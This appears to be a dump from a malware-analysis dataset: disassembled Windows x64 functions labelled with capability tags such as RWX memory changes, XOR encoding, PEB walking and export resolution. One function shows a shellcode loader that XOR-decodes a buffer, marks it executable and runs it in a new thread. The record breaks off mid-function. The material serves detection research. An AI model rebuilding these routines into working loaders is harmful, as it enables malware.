joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401780
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x58
movsxd rbp, dword [0x00407054]
mov rbx, rcx
mov rsi, rdx
mov rdi, r8
test ebp, ebp
jle 0x40189a
mov rax, qword [0x00407058]
xor r9d, r9d
add rax, 8
mov r10, qword [rax]
cmp rbx, r10
jb 0x4017ce
mov rdx, qword [rax + 8]
mov r11d, dword [rdx + 8]
add r10, r11
cmp rbx, r10
jb 0x401880
add r9d, 1
add rax, 0x18
cmp r9d, ebp
jne 0x4017b2
mov rcx, rbx
call sym.__mingw_GetSectionForAddress
test rax, rax
mov r12, rax
je 0x4018d2
lea rbp, [rbp + rbp*2]
shl rbp, 3
mov r13, rbp
add r13, qword [0x00407058]
mov qword [r13 + 0x10], rax
mov dword [r13], 0
call sym._GetPEImageBase
mov edx, dword [r12 + 0xc]
mov r8d, 0x30
add rax, rdx
lea rdx, [rsp + 0x20]
mov qword [r13 + 8], rax
mov rax, qword [0x00407058]
mov rcx, qword [rax + rbp + 8]
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x4018b5
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x401879
sub eax, 0x40
and eax, 0xffffffbf
je 0x401879
mov r9, rbp
add r9, qword [0x00407058]
mov r8d, 0x40
mov rdx, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x4018a1
add dword [0x00407054], 1
mov r8, rdi
mov rdx, rsi
mov rcx, rbx
add rsp, 0x58
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
jmp sym.memcpy
xor ebp, ebp
jmp 0x4017db
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call sym.__report_error
mov rax, qword [0x00407058]
mov edx, dword [r12 + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbp + 8]
call sym.__report_error
lea rcx, str.Address__p_has_no_image_section
mov rdx, rbx
call sym.__report_error
nop
nop word cs:[rax + rax]

Function at 0x4024b0
Capabilities:
Parse pe header

Disassembly:
cmp word [rcx], 0x5a4d
je 0x4024c0
xor eax, eax
ret
jmp sym._ValidateImageBase.part.0

Function at 0x4024d0
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
lea rax, [rcx + rax + 0x18]
movzx ecx, word [rcx + 6]
test ecx, ecx
je 0x402511
sub ecx, 1
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
mov r8d, dword [rax + 0xc]
cmp r8, rdx
mov rcx, r8
ja 0x402508
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x402513
add rax, 0x28
cmp rax, r9
jne 0x4024f4
xor eax, eax
repz ret

Function at 0x4025c0
Capabilities:
Enumerate pe sections

Disassembly:
push rsi
push rbx
sub rsp, 0x28
mov rbx, qword [0x00404300]
cmp word [rbx], 0x5a4d
je 0x4025e0
xor eax, eax
add rsp, 0x28
pop rbx
pop rsi
ret
mov rsi, rcx
mov rcx, rbx
call sym._ValidateImageBase.part.0
test eax, eax
je 0x4025d4
sub rsi, rbx
mov rcx, rbx
mov rdx, rsi
add rsp, 0x28
pop rbx
pop rsi
jmp sym._FindPESection
Function at 0x140001070
Capabilities:
Get system information on windows
Make suspicious ntquerysysteminformation call

Disassembly:
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x20
mov rbp, r8
lea r9, [rsp + 0x58]
mov r14d, edx
mov r15, rcx
xor edi, edi
xor r8d, r8d
xor edx, edx
mov dword [rsp + 0x58], edi
mov ecx, 0x10
mov esi, 0xffffffff
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
jne 0x140001118
mov qword [rsp + 0x40], rbx
nop dword [rax + rax]
mov ebx, dword [rsp + 0x58]
add rbx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, 8
mov rcx, rax
test rdi, rdi
je 0x1400010e8
mov r9, rbx
mov r8, rdi
call qword [sym.imp.KERNEL32.dll_HeapReAlloc]
jmp 0x1400010f1
mov r8, rbx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r8d, dword [rsp + 0x58]
lea r9, [rsp + 0x58]
mov rdx, rax
mov ecx, 0x10
mov rdi, rax
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
je 0x1400010c0
mov rbx, qword [rsp + 0x40]
test eax, eax
je 0x14000114b
mov esi, eax
test rdi, rdi
je 0x140001135
mov rcx, qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rdi
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rbp, qword [rsp + 0x48]
mov eax, esi
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop rdi
ret
mov r9d, dword [rdi]
xor edx, edx
test r9d, r9d
je 0x14000111e
nop word [rax + rax]
lea rcx, [rdx + rdx*2]
movzx eax, word [rdi + rcx*8 + 8]
lea r8, [rdi + rcx*8]
cmp eax, r14d
jne 0x140001179
cmp word [r8 + 0xe], bp
je 0x140001182
inc edx
cmp edx, r9d
jb 0x140001160
jmp 0x140001123
mov rax, qword [r8 + 0x10]
xor esi, esi
mov qword [r15], rax
jmp 0x140001123
Function at 0x140001190
Capabilities:
Get system information on windows
Make suspicious ntquerysysteminformation call

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x20
xor esi, esi
lea r9, [rsp + 0x30]
xor r8d, r8d
mov dword [rsp + 0x30], esi
xor edx, edx
mov ecx, 0xb
mov ebx, esi
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
jne 0x140001234
nop dword [rax + rax]
mov eax, dword [rsp + 0x30]
test rbx, rbx
je 0x1400011f8
lea edi, [rax + rax]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r9d, edi
mov r8, rbx
mov rcx, rax
mov edx, 8
call qword [sym.imp.KERNEL32.dll_HeapReAlloc]
jmp 0x140001212
lea ebx, [rax + rax]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8d, ebx
mov edx, 8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r8d, dword [rsp + 0x30]
lea r9, [rsp + 0x30]
mov rdx, rax
mov ecx, 0xb
mov rbx, rax
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
je 0x1400011d0
test eax, eax
jne 0x14000127f
cmp dword [rbx], esi
jbe 0x140001292
nop dword [rax]
mov eax, esi
lea rdx, str.ntoskrnl.exe
imul rdi, rax, 0x128
lea rcx, [rdi + 0x30]
add rcx, rbx
call qword [sym.imp.VCRUNTIME140.dll_strstr]
test rax, rax
jne 0x14000126a
inc esi
cmp esi, dword [rbx]
jb 0x140001240
jmp 0x140001292
mov rax, qword [rdi + rbx + 0x18]
mov rbx, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
test rbx, rbx
je 0x140001292
mov edx, eax
lea rcx, str.____NtQuerySystemInformation_failed.__NTSTATUS_code:_0x_X__n
call fcn.140001010
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbx
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rbx, qword [rsp + 0x38]
xor eax, eax
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x140001d8c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001dd6
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001dd6
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001dd6
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001dd6
cmp dword [rcx + 0x84], 0xe
jbe 0x140001dd6
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001dd8
xor al, al
add rsp, 0x28
ret
Function at 0x140008188
Capabilities:
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], r12
push r13
sub rsp, 0xb0
xor ebx, ebx
mov dword [rsp + 0x20], ebx
lea rcx, [rax - 0x78]
call qword [sym.imp.KERNEL32.dll_GetStartupInfoW]
nop
mov rax, qword gs:[0x30]
mov rdi, qword [rax + 8]
mov r12d, ebx
xor eax, eax
lock cmpxchg qword [0x14000d868], rdi
je 0x1400081e8
cmp rax, rdi
jne 0x1400081db
mov r12d, 1
jmp 0x1400081e8
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1400081c1
mov eax, dword [0x14000d860]
cmp eax, 1
jne 0x1400081fd
lea ecx, [rax + 0x1e]
call 0x140155000
jmp 0x140008264
mov eax, dword [0x14000d860]
cmp eax, ebx
jne 0x14000825a
mov dword [0x14000d860], 1
lea r13, [0x140001548]
lea rdi, [0x140001530]
mov qword [rsp + 0x30], rdi
mov eax, ebx
mov dword [rsp + 0x24], ebx
cmp rdi, r13
jae 0x14000824c
cmp eax, ebx
jne 0x14000824c
mov rcx, qword [rdi]
cmp rcx, rbx
je 0x140008241
call rcx
mov dword [rsp + 0x24], eax
add rdi, 8
mov qword [rsp + 0x30], rdi
jmp 0x14000822a
cmp eax, ebx
je 0x140008264
mov eax, 0xff
jmp 0x1400083ac
mov dword [0x14000b554], 1
mov eax, dword [0x14000d860]
cmp eax, 1
jne 0x14000828c
lea rdx, [0x140001528]
lea rcx, [0x1400014b8]
call sub.msvcrt.dll__initterm
mov dword [0x14000d860], 2
cmp r12d, ebx
jne 0x14000829b
mov rax, rbx
xchg qword [0x14000d868], rax
cmp qword [0x14000d870], rbx
je 0x1400082c3
lea rcx, [0x14000d870]
call fcn.14000862c
cmp eax, ebx
je 0x1400082c3
xor r8d, r8d
lea edx, [r8 + 2]
xor ecx, ecx
call qword [0x14000d870]
mov rcx, qword [sym.imp.msvcrt.dll__wcmdln]
cmp qword [rcx], rbx
jne 0x1400082d9
mov eax, 0xff
jmp 0x1400083ac
mov rcx, qword [rcx]
mov qword [rsp + 0x28], rcx
mov edx, dword [rsp + 0x20]
cmp word [rcx], 0x20
ja 0x14000835e
cmp word [rcx], bx
je 0x1400082f4
cmp edx, ebx
jne 0x14000835e
cmp word [rcx], bx
je 0x14000830a
cmp word [rcx], 0x20
ja 0x14000830a
add rcx, 2
mov qword [rsp + 0x28], rcx
jmp 0x1400082f4
test byte [rsp + 0x7c], 1
movzx eax, word [rsp + 0x80]
mov r9d, 0xa
cmovne r9d, eax
mov r8, rcx
xor edx, edx
lea rcx, [0x140000000]
call fcn.140003b3c
mov dword [0x14000b550], eax
cmp dword [0x14000b534], ebx
jne 0x140008348
mov ecx, eax
call qword [sym.imp.msvcrt.dll_exit]
cmp dword [0x14000b554], ebx
jne 0x14000835c
call qword [sym.imp.msvcrt.dll__cexit]
mov eax, dword [0x14000b550]
jmp 0x1400083ac
cmp word [rcx], 0x22
jne 0x140008371
mov eax, ebx
cmp edx, ebx
sete al
mov edx, eax
mov dword [rsp + 0x20], eax
add rcx, 2
mov qword [rsp + 0x28], rcx
jmp 0x1400082e5
lea r11, [rsp + 0xb0]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov r12, qword [r11 + 0x20]
mov rsp, r11
pop r13
ret
sub rsp, 0x28
call fcn.1400087ec
add rsp, 0x28
jmp 0x140008188
Function at 0x140002940
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000298a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000298a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000298a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000298a
cmp dword [rcx + 0x84], 0xe
jbe 0x14000298a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14000298c
xor al, al
add rsp, 0x28
ret

Function at 0x140001070
Capabilities:
Create thread
Encode data using xor

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
sub rsp, 0x40
mov rax, qword [0x140004008]
xor rax, rsp
mov qword [rsp + 0x38], rax
mov rsi, qword [rdx + 8]
mov rbx, 0xffffffffffffffff
movsx rcx, byte [rdx + 0x10]
mov rdx, rbx
nop
inc rdx
cmp byte [rsi + rdx], 0
jne 0x1400010a0
xor eax, eax
mov r9d, edx
test edx, edx
je 0x1400010e0
movsxd r10, esi
mov r11, rcx
mov r8, rsi
nop dword [rax + rax]
xor ecx, ecx
lea r8, [r8 + 1]
cmp rax, r10
cmovbe rcx, rax
movzx eax, byte [rcx + r11]
xor byte [r8 - 1], al
lea rax, [rcx + 1]
sub r9, 1
jne 0x1400010c0
inc rbx
cmp byte [rsi + rbx], 0
jne 0x1400010e0
shr rbx, 1
lea ebp, [rdx - 1]
xor edi, edi
test ebp, ebp
je 0x14000112e
mov qword [rsp + 0x60], r14
mov r14, rsi
nop dword [rax]
lea ecx, [rdi + rdi]
add rcx, rsi
lea r8, [rsp + 0x30]
lea rdx, [0x140002280]
call fcn.140001010
movzx eax, byte [rsp + 0x30]
inc edi
mov byte [r14], al
lea r14, [r14 + 1]
cmp edi, ebp
jb 0x140001100
mov r14, qword [rsp + 0x60]
mov ebx, ebx
mov r9d, 4
mov edx, ebx
mov r8d, 0x1000
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8d, ebx
mov rdx, rsi
mov rcx, rax
mov rdi, rax
call sub.VCRUNTIME140.dll_memcpy
lea r9, [rsp + 0x34]
mov r8d, 0x10
mov edx, ebx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor r9d, r9d
mov qword [rsp + 0x28], 0
mov r8, rdi
mov dword [rsp + 0x20], 0
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
mov edx, 0x7d0
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rdi
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
xor eax, eax
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.1400011e0
mov rbx, qword [rsp + 0x70]
add rsp, 0x40
pop rdi
pop rsi
pop rbp
ret

Function at 0x140001ab4
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001afe
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001afe
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001afe
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001afe
cmp dword [rcx + 0x84], 0xe
jbe 0x140001afe
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001b00
xor al, al
add rsp, 0x28
ret
Function at 0x140be9058
Capabilities:
Decompress data using aplib

Disassembly:
call 0x140be91df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, pe_nt_image_headers64
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x140be9089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140be906f
add dl, dl
jne 0x140be9096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140be90f6
xor eax, eax
add dl, dl
jne 0x140be90a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140be91ad
add dl, dl
jne 0x140be90b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140be90c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140be90d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140be90dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x140be90ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x140be907e
mov eax, 1
add dl, dl
jne 0x140be9106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140be9113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140be90fb
sub eax, ebx
mov ebx, 1
jne 0x140be914c
mov ecx, 1
add dl, dl
jne 0x140be912e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140be913b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140be9123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140be907e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x140be9168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140be9175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140be915d
cmp eax, 0x7d00
jae 0x140be919b
cmp eax, 0x500
jb 0x140be9196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140be907e
cmp eax, 0x7f
ja 0x140be919e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140be907e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x140be91d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x140be907e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x140001e60
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x30]
ret

Function at 0x140002478
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x40
movsxd rax, dword [rcx + 0x3c]
xor ebx, ebx
mov r13, rdx
mov rsi, rcx
mov edi, dword [rax + rcx + 0x88]
add rdi, rcx
mov r15d, dword [rdi + 0x1c]
mov r14d, dword [rdi + 0x20]
add r15, rcx
mov r12d, dword [rdi + 0x24]
add r14, rcx
add r12, rcx
cmp dword [rdi + 0x18], ebx
jbe 0x14000251d
mov ebp, dword [r14 + rbx*4]
mov rdx, r13
add rbp, rsi
mov rcx, rbp
call fcn.140018d90
test eax, eax
je 0x1400024e7
mov eax, dword [rdi + 0x18]
inc rbx
cmp rbx, rax
jb 0x1400024c4
jmp 0x14000251d
movzx eax, word [r12 + rbx*2]
lea rdx, str.____s_Address:_p_n
lea rcx, [rsp + 0x20]
mov ebx, dword [r15 + rax*4]
add rbx, rsi
call fcn.1400021e4
mov rcx, rax
call fcn.140002704
mov rcx, rax
mov r8, rbx
mov rdx, rbp
call fcn.14000288c
mov rax, rbx
lea r11, [rsp + 0x40]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret

Function at 0x1400060cc
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0x50
cmp qword [rcx + 0x68], 0
mov rdi, rcx
je 0x140006147
cmp byte [rcx + 0x71], 0
je 0x140006147
call fcn.1400070a0
mov r8, qword [rdi]
mov edx, eax
mov rcx, rdi
mov ebx, eax
call qword [r8 + 0x18]
lea rdx, [rsp + 0x60]
mov dword [rsp + 0x68], ebx
lea rcx, [rsp + 0x68]
mov dword [rsp + 0x60], eax
call fcn.1400070b4
test al, al
jne 0x14000618e
mov rcx, qword [rdi + 0x68]
lea rax, [rsp + 0x70]
lea rdx, [rdi + 0x74]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x50]
lea r8, [rsp + 0x30]
call fcn.1400081c8
test eax, eax
je 0x140006154
sub eax, 1
je 0x140006158
cmp eax, 2
jne 0x14000618e
mov byte [rdi + 0x71], 0
mov al, 1
mov rbx, qword [rsp + 0x78]
add rsp, 0x50
pop rdi
ret
mov byte [rdi + 0x71], 0
mov rbx, qword [rsp + 0x70]
lea rax, [rsp + 0x30]
sub rbx, rax
je 0x140006185
mov r9, qword [rdi + 0x80]
lea rcx, [rsp + 0x30]
mov r8, rbx
mov edx, 1
call fcn.14001a0b4
cmp rbx, rax
jne 0x14000618e
cmp byte [rdi + 0x71], 0
sete al
jmp 0x140006149
xor al, al
jmp 0x140006149
Function at 0x140007380
Capabilities:
Encode data using xor

Disassembly:
jmp 0x1400190f0
mov rax, rcx
neg rcx
test rax, 7
je 0x14001910d
nop
mov dl, byte [rax]
inc rax
test dl, dl
je 0x140019168
test al, 7
jne 0x140019100
movabs r8, 0x7efefefefefefeff
movabs r11, 0x8101010101010100
mov rdx, qword [rax]
mov r9, r8
add rax, 8
add r9, rdx
not rdx
xor rdx, r9
and rdx, r11
je 0x140019121
mov rdx, qword [rax - 8]
test dl, dl
je 0x140019192
test dh, dh
je 0x14001918c
shr rdx, 0x10
test dl, dl
je 0x140019186
test dh, dh
je 0x140019180
shr rdx, 0x10
test dl, dl
je 0x14001917a
test dh, dh
je 0x140019174
shr edx, 0x10
test dl, dl
je 0x14001916e
test dh, dh
jne 0x140019121
lea rax, [rax + rcx - 1]
ret
lea rax, [rax + rcx - 2]
ret
lea rax, [rax + rcx - 3]
ret
lea rax, [rax + rcx - 4]
ret
lea rax, [rax + rcx - 5]
ret
lea rax, [rax + rcx - 6]
ret
lea rax, [rax + rcx - 7]
ret
lea rax, [rax + rcx - 8]
ret

Function at 0x140007620
Capabilities:
Write file on windows

Disassembly:
mov dword [rsp + 0x10], edx
push rbp
push rbx
push rsi
push rdi
push r14
mov rbp, rsp
sub rsp, 0x70
mov r14d, edx
mov rdi, rcx
call fcn.1400070a0
lea rdx, [rbp + 0x38]
mov dword [rbp + 0x40], eax
lea rcx, [rbp + 0x40]
mov esi, eax
call fcn.1400070b4
test al, al
je 0x140007660
lea rcx, [rbp + 0x38]
call fcn.140007500
jmp 0x14000776e
mov rcx, rdi
call fcn.1400078bc
test rax, rax
je 0x1400076a3
mov rcx, rdi
call fcn.1400070a4
mov rcx, rdi
mov rbx, rax
call fcn.1400078bc
cmp rax, rbx
jae 0x1400076a3
mov rcx, rdi
call fcn.140006904
lea rcx, [rbp + 0x38]
mov rbx, rax
call fcn.140007f34
mov byte [rbx], al
mov eax, r14d
jmp 0x14000776e
cmp qword [rdi + 0x80], 0
je 0x14000776c
mov rcx, rdi
call fcn.14000691c
lea rcx, [rbp + 0x38]
call fcn.140007f34
cmp qword [rdi + 0x68], 0
jne 0x1400076e2
mov cl, al
mov rdx, qword [rdi + 0x80]
call fcn.140002b44
test al, al
cmovne esi, r14d
jmp 0x14000776c
mov rcx, qword [rdi + 0x68]
lea rdx, [rdi + 0x74]
mov byte [rbp - 0x30], al
lea r9, [rbp - 0x2f]
lea rax, [rbp + 0x40]
mov qword [rsp + 0x38], rax
lea r8, [rbp - 0x30]
lea rax, [rbp - 8]
mov qword [rsp + 0x30], rax
lea rax, [rbp - 0x28]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x48]
mov qword [rsp + 0x20], rax
call fcn.1400075e0
test eax, eax
je 0x140007731
sub eax, 1
je 0x140007731
cmp eax, 2
jne 0x14000776c
mov cl, byte [rbp - 0x30]
jmp 0x1400076cb
mov rbx, qword [rbp + 0x40]
lea rax, [rbp - 0x28]
sub rbx, rax
je 0x14000775b
mov r9, qword [rdi + 0x80]
lea rcx, [rbp - 0x28]
mov r8, rbx
mov edx, 1
call fcn.14001a0b4
cmp rbx, rax
jne 0x14000776c
lea rax, [rbp - 0x30]
mov byte [rdi + 0x71], 1
cmp qword [rbp + 0x48], rax
mov eax, r14d
jne 0x14000776e
mov eax, esi
add rsp, 0x70
pop r14
pop rdi
pop rsi
pop rbx
pop rbp
ret
Function at 0x140008224
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
push rsi
push rdi
push r14
sub rsp, 0x20
mov rdi, r8
mov rbp, rdx
mov rsi, rcx
test r8, r8
jg 0x14000824b
xor eax, eax
jmp 0x14000832c
cmp qword [rcx + 0x68], 0
je 0x14000825c
call fcn.140008340
jmp 0x14000832c
mov rbx, rdi
mov qword [rsp + 0x50], rbx
call fcn.1400063b8
mov qword [rsp + 0x58], rax
test rax, rax
je 0x1400082b2
lea rdx, [rsp + 0x58]
lea rcx, [rsp + 0x50]
call fcn.14000494c
mov rcx, rsi
mov rbx, qword [rax]
call fcn.140007278
mov rdx, rax
mov r8, rbx
mov rcx, rbp
call fcn.140006eb8
sub qword [rsp + 0x50], rbx
mov edx, ebx
mov rcx, rsi
add rbp, rbx
call fcn.140007208
mov rbx, qword [rsp + 0x50]
cmp qword [rsi + 0x80], 0
je 0x140008326
mov rcx, rsi
call fcn.14000691c
mov rbx, qword [rsp + 0x50]
mov r14d, 0xfff
jmp 0x1400082fd
mov r9, qword [rsi + 0x80]
mov r8, r14
mov edx, 1
mov rcx, rbp
call fcn.140019b4c
mov rbx, qword [rsp + 0x50]
add rbp, rax
sub rbx, rax
mov qword [rsp + 0x50], rbx
cmp rax, r14
jne 0x140008326
cmp rbx, r14
ja 0x1400082d1
test rbx, rbx
je 0x140008326
mov r9, qword [rsi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, rbp
call fcn.140019b4c
mov rbx, qword [rsp + 0x50]
sub rbx, rax
sub rdi, rbx
mov rax, rdi
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
add rsp, 0x20
pop r14
pop rdi
pop rsi
ret

Function at 0x1400083fc
Capabilities:
Write file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x20
cmp qword [rcx + 0x68], 0
mov rbx, r8
mov r14, rdx
mov rdi, rcx
je 0x14000842c
call fcn.1400084b4
jmp 0x140008498
mov rsi, rbx
call fcn.1400068ec
mov rbp, rax
test rbx, rbx
jle 0x140008492
test rax, rax
jle 0x140008473
cmp rbx, rax
mov rcx, rdi
cmovl rbp, rbx
call fcn.1400078bc
mov rcx, rax
mov r8, rbp
mov rdx, r14
call fcn.140006eb8
mov edx, ebp
mov rcx, rdi
sub rbx, rbp
call fcn.1400078a8
add r14, rbp
test rbx, rbx
jle 0x140008492
mov r9, qword [rdi + 0x80]
test r9, r9
je 0x140008492
mov r8, rbx
mov edx, 1
mov rcx, r14
call fcn.14001a0b4
sub rbx, rax
sub rsi, rbx
mov rax, rsi
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret

Function at 0x14001f1b0
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x14001efdc
Function at 0x140004240
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x47], 0
mov r8, rcx
je 0x1400042cb
mov r9, 0xfffffffffffffffe
lea rax, [rcx + 2]
sub r9, rcx
nop dword [rax + rax]
lea edx, [rax + r9]
lea ecx, [rdx - 0x14]
xor byte [rax - 2], cl
lea rax, [rax + 0xe]
lea ecx, [rdx - 0x13]
xor byte [rax - 0xf], cl
lea ecx, [rdx - 0x12]
xor byte [rax - 0xe], cl
lea ecx, [rdx - 0x11]
xor byte [rax - 0xd], cl
lea ecx, [rdx - 0x10]
xor byte [rax - 0xc], cl
lea ecx, [rdx - 0xf]
xor byte [rax - 0xb], cl
lea ecx, [rdx - 0xe]
xor byte [rax - 0xa], cl
lea ecx, [rdx - 0xd]
xor byte [rax - 9], cl
lea ecx, [rdx - 0xc]
xor byte [rax - 8], cl
lea ecx, [rdx - 0xb]
xor byte [rax - 7], cl
lea ecx, [rdx - 0xa]
xor byte [rax - 6], cl
lea ecx, [rdx - 9]
xor byte [rax - 5], cl
lea ecx, [rdx - 8]
xor byte [rax - 4], cl
sub dl, 7
xor byte [rax - 3], dl
lea rcx, [r9 + rax]
cmp rcx, 0x46
jb 0x140004260
mov byte [r8 + 0x47], 0
mov rax, r8
ret

Function at 0x140004680
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x136], 0
je 0x1400046a8
xor eax, eax
nop dword [rax + rax]
lea edx, [rax - 0x14]
xor byte [rcx + rax], dl
